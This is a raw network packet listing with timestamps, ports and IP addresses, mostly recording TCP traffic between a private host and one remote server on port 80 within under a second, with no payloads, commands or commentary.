Oct 31, 2024 03:04:31.894232035 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.894243956 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894256115 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894263983 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.894269943 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894282103 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894294024 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894315958 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.894315958 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.894340038 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.894417048 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894442081 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894454956 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894464016 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894467115 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.894476891 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894504070 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.894536972 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.894792080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894815922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894829988 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894840002 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894840956 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.894854069 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.894871950 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.894911051 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.895127058 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.895138979 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.895148993 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.895179033 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.895193100 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.895361900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.895374060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.895385027 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.895401955 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.895415068 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.895415068 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.895442963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.895459890 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.895706892 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.895718098 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.895728111 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.895762920 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.927359104 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.927371979 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.927382946 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.927396059 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.927408934 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.927433968 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.927464962 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.972666025 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.972700119 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.972712040 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.972723961 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.972740889 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.972753048 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.972759008 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.972795010 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.972826958 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.972839117 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.972848892 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.972870111 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.972882032 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.973161936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.973268032 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.973278999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.973288059 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:31.973319054 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:31.973345995 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.003211975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.003273010 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.003274918 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.003284931 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.003315926 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.003329039 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.003355980 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.003367901 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.003391027 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.003395081 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.003413916 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.003433943 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.003519058 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.003557920 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.003592014 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.003602982 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.003623962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.003639936 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.003678083 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.012847900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.012860060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.012871981 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.012883902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.012903929 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.012947083 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.013187885 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013197899 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013207912 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013217926 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013227940 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013240099 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013245106 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.013258934 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013271093 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013272047 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.013288975 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.013322115 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.013349056 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013387918 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.013775110 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013787031 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013797045 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013807058 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013818979 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013829947 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.013830900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013844013 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013858080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013866901 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.013869047 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.013890028 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.013921976 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.014326096 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.014337063 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.014348984 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.014365911 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.014365911 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.014389992 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.014419079 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.014497042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.014509916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.014519930 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.014533043 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.014544964 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.014556885 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.014586926 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.014678001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.014691114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.014724016 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.015033960 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.015084982 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.015223026 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.015233040 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.015270948 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.024739981 CET	443	63909	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:32.024837971 CET	443	63909	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:32.024883986 CET	63909	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:32.025032997 CET	63909	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:32.025043964 CET	443	63909	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:32.046297073 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.046310902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.046323061 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.046350002 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.046364069 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.046623945 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.046636105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.046675920 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.092698097 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.092842102 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.092853069 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.092892885 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.092998028 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.093010902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.093040943 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.093061924 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.093152046 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.093163967 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.093200922 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.093385935 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.093396902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.093408108 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.093420029 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.093420982 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.093456984 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.121865988 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.121932983 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.121934891 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.121944904 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.121962070 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.121973991 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.121974945 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.121993065 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.122013092 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.122389078 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.122400999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.122411966 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.122462034 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.122462034 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.131874084 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.131886005 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.131896973 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.131910086 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.131920099 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.131920099 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.131937027 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.131968975 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.132663965 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.132675886 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.132687092 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.132699966 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.132704020 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.132719994 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.132754087 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.132832050 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.132844925 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.132860899 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.132868052 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.132873058 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.132883072 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.132885933 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.132903099 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.132925987 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.132991076 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.133002043 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.133028984 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.133054018 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.133133888 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.133147001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.133179903 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.133286953 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.133300066 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.133330107 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.133725882 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.133774996 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.133882999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.133893013 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.133904934 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.133917093 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.133925915 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.133955956 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.134051085 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.134062052 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.134072065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.134084940 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.134094954 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.134109020 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.134136915 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.134212971 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.134226084 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.134236097 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.134247065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.134263992 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.134291887 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.134515047 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.134557009 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.134696960 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.134706974 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.134737015 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.134747982 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.164886951 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.164902925 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.164913893 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.164927006 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.164938927 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.164951086 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.165000916 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.211716890 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.211731911 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.211743116 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.211755991 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.211766958 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.211779118 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.211779118 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.211819887 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.211882114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.211894035 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.211904049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.211920023 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.211950064 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.212112904 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.212125063 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.212136030 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.212204933 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.240921021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.240946054 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.240959883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.240972042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.240983963 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.240986109 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.241005898 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.241034031 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.241978884 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.242037058 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.242095947 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.242109060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.242142916 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.242153883 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.242379904 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.242393017 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.242438078 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.250957012 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251126051 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251137972 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251151085 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251174927 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.251213074 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.251271963 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251439095 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251447916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251458883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251471043 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251480103 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.251482964 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251501083 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.251527071 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.251899004 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251910925 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251920938 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251930952 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251944065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.251945019 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.251967907 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.251977921 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.252043009 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252058983 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252070904 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252082109 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252093077 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252093077 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.252125025 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.252193928 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252206087 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252233028 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.252257109 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.252500057 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252511978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252522945 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252536058 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252547979 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.252576113 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.252645016 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252677917 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.252844095 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252856016 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252867937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252880096 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252880096 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.252892017 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252897024 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:32.252903938 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:32.252916098 CET	80	63886	185.215.113.16	192.168.2.4
